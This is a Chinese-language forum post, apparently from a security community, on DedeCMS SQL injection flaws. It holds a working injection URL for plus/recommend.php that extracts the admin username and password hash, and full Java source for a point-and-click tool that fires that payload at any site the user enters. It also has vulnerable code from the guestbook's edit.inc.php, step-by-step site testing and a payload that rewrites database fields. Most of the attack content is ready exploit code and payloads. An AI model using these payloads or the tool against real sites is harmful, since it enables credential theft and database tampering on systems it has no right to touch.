DedeCMS通杀SQL注入漏洞利用代码及工具介绍

近日，网友在dedecms中发现了全版本通杀的SQL注入漏洞，目前官方最新版已修复该漏洞，相关利用代码如下：

EXP:

Exp:plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\'
  or mid=@`\'` /*!50000union*//*!50000select*/1,2,3,(select 
CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`
limit+0,1),5,6,7,8,9%23@`\'`+&_FILES[type][name]=1.jpg&_FILES[type]
 [type]=application/octet-stream&_FILES[type][size]=111
利用工具源码(by 园长)：

package org.javaweb.dede.ui;
 
import java.awt.Toolkit;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.URL;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
 
/**
 *
 * @author yz
 */
public class MainFrame extends javax.swing.JFrame {
 
    private static final long serialVersionUID = 1L;
 
    /**
     * Creates new form MainFrame
     */
    public MainFrame() {
        initComponents();
    }
 
    public String request(String url){
        String str = "",tmp;
        try {
            BufferedReader br = new BufferedReader(new InputStreamReader(new URL(url).openStream()));
            while((tmp=br.readLine())!=null){
                str+=tmp+"\r\n";
            }
        } catch (Exception e) {
            jTextArea1.setText(e.toString());
        }
        return str;
    }
 
    private void initComponents() {
 
        jPanel1 = new javax.swing.JPanel();
        jLabel1 = new javax.swing.JLabel();
        jTextField1 = new javax.swing.JTextField();
        jButton1 = new javax.swing.JButton();
        jScrollPane1 = new javax.swing.JScrollPane();
        jTextArea1 = new javax.swing.JTextArea();
 
        setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);
 
        jLabel1.setText("URL:");
        jTextField1.setText("http://localhost");
 
        this.setTitle("DedeCms recommend.php注入利用工具-p2j.cn");
 
        int screenWidth = Toolkit.getDefaultToolkit().getScreenSize().width;
        int screenHeight = Toolkit.getDefaultToolkit().getScreenSize().height;
        this.setBounds(screenWidth / 2 - 229, screenHeight / 2 - 158, 458, 316);
 
        jButton1.setText("获取");
        jButton1.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jButton1ActionPerformed(evt);
            }
        });
 
        jTextArea1.setColumns(20);
        jTextArea1.setRows(5);
        jScrollPane1.setViewportView(jTextArea1);
 
        javax.swing.GroupLayout jPanel1Layout = new javax.swing.GroupLayout(jPanel1);
        jPanel1.setLayout(jPanel1Layout);
        jPanel1Layout.setHorizontalGroup(
            jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel1Layout.createSequentialGroup()
                .addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING, false)
                    .addComponent(jScrollPane1, javax.swing.GroupLayout.Alignment.LEADING)
                    .addGroup(javax.swing.GroupLayout.Alignment.LEADING, jPanel1Layout.createSequentialGroup()
                        .addContainerGap()
                        .addComponent(jLabel1)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                        .addComponent(jTextField1, javax.swing.GroupLayout.PREFERRED_SIZE, 331, javax.swing.GroupLayout.PREFERRED_SIZE)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                        .addComponent(jButton1, javax.swing.GroupLayout.PREFERRED_SIZE, 83, javax.swing.GroupLayout.PREFERRED_SIZE)))
                .addGap(0, 0, Short.MAX_VALUE))
        );
        jPanel1Layout.setVerticalGroup(
            jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel1Layout.createSequentialGroup()
                .addContainerGap()
                .addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
                    .addComponent(jLabel1)
                    .addComponent(jTextField1,
 javax.swing.GroupLayout.PREFERRED_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE)
                    .addComponent(jButton1))
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addComponent(jScrollPane1, javax.swing.GroupLayout.DEFAULT_SIZE, 254, Short.MAX_VALUE))
        );
 
        javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
        getContentPane().setLayout(layout);
        layout.setHorizontalGroup(
            layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addComponent(jPanel1, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
        );
        layout.setVerticalGroup(
            layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addComponent(jPanel1, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
        );
 
        pack();
    }//                       
 
    private void jButton1ActionPerformed(java.awt.event.ActionEvent evt) {                                       
        String url = jTextField1.getText();
        if(null==url||"".equals(url)){
            return ;
        }
        String result = request(url+"/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\\%27%20or%20mid=@`\\%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\\%27`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=4294");
        Matcher m = Pattern.compile("

(.*)

").matcher(result);
        if(m.find()){
            String[] s = m.group(1).split("\\|");
            if(s.length>2){
                jTextArea1.setText("UserName:"+s[1]+"\r\nMD5:"+s[2].substring(3,s[2].length()-1));
            }
        }
    }                                      
 
    public static void main(String args[]) {
        java.awt.EventQueue.invokeLater(new Runnable() {
            public void run() {
                new MainFrame().setVisible(true);
            }
        });
    }
 
    // Variables declaration - do not modify                   
    private javax.swing.JButton jButton1;
    private javax.swing.JLabel jLabel1;
    private javax.swing.JPanel jPanel1;
    private javax.swing.JScrollPane jScrollPane1;
    private javax.swing.JTextArea jTextArea1;
    private javax.swing.JTextField jTextField1;
    // End of variables declaration                 
}

请看看文件：include/filter.inc.php

引用一哥话语:

这是2B的dede再次变量覆盖漏洞根源。。

这是过滤或替换非法关键字。正常的。

/* 对_GET,_POST,_COOKIE进行过滤 */
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
    foreach($$_request as $_k => $_v)
    {
        ${$_k} = _FilterAll($_k,$_v);
    }
}

等同于重新赋值了，之前做的过滤无效了。
这是过滤或替换非法关键字。正常的。

1.为了有效的防止 传播 转载 公布
2.一些首发漏洞就得设置点权限 自然以后大家都想着升官 这样才能看到更好的贴 自然想升官就得自己先发好贴 这样一来 自然好贴就多了。
不知道有没有道理，反正我是这样觉得的。当然过段时间 会设置成0权限查看。一开始嘛 先让一些发过好贴升官的人看嘛，就象wooyun 先核心看 再普通 在初级的 这样我觉得是更好些 ！

漏洞：dedecms 5.7 最新sql漏洞一枚
作者：鬼哥
版权：www.90sec.org

看此贴你需要保证以下几点：
                                        1.保证需要人品好
                                        2.保证不非法利用(只漏洞检测修复 不干坏事)[否则后果自负]
                                        3.绝对保证100%不传播 公开 转载 (如发现：传播 转载 公布)我只能说我会很伤心！ 没公开的漏洞能玩就先玩段时间嘛！
                                        4.尊重版权!

 

漏洞文件edit.inc.php具体代码：

if(!defined('DEDEINC')) exit('Request Error!');

if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];
else $GUEST_BOOK_POS = "guestbook.php";

$id = intval($id);
if(empty($job)) $job='view';

if($job=='del' && $g_isadmin)
{
    $dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");
    ShowMsg("成功删除一条留言！", $GUEST_BOOK_POS);
    exit();
}
else if($job=='check' && $g_isadmin)
{
    $dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");
    ShowMsg("成功审核一条留言！", $GUEST_BOOK_POS);
    exit();
}
else if($job=='editok')
{
    $remsg = trim($remsg);
    if($remsg!='')
    {
        //管理员回复不过滤HTML
        if($g_isadmin)
        {
            $msg = "

\n".$remsg;
            //$remsg
管理员回复：
        }
        else
        {
            $row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");
            $oldmsg = "\n";
            $remsg = trimMsg(cn_substrR($remsg, 1024), 1);
            $msg = $oldmsg.$remsg;
        }
    }
   //这里没有对$msg过滤，导致可以任意注入了
    $dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");
    ShowMsg("成功更改或回复一条留言！", $GUEST_BOOK_POS);
    exit();
}

if($g_isadmin)
{
    $row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");
    require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');
}
else
{
    $row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");
    require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');
}

漏洞成功需要条件：
                          1. php magic_quotes_gpc=off
                          2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。

怎么判断是否存在漏洞：
                                先打开www.xxx.com/plus/guestbook.php  可以看到别人的留言，
                                然后鼠标放在 [回复/编辑]   上 可以看到别人留言的ID。那么记下ID
                                访问：www.xxx.com/plus/guestbook.php?action=admin&job=editok&msg=90sec'&id=存在的留言ID
                                提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
                               跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 90sec' 如果变成了 那么证明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
                               如果没有修改成功，那留言ID的内容还是以前的 那就证明漏洞可以利用。
                               那么再次访问 www.xxx.com/plus/guestbook.php?action=admin&job=editok&id=存在的留言ID&msg=',msg=user(),email='
                               然后返回，那条留言ID的内容就直接修改成了mysql 的user().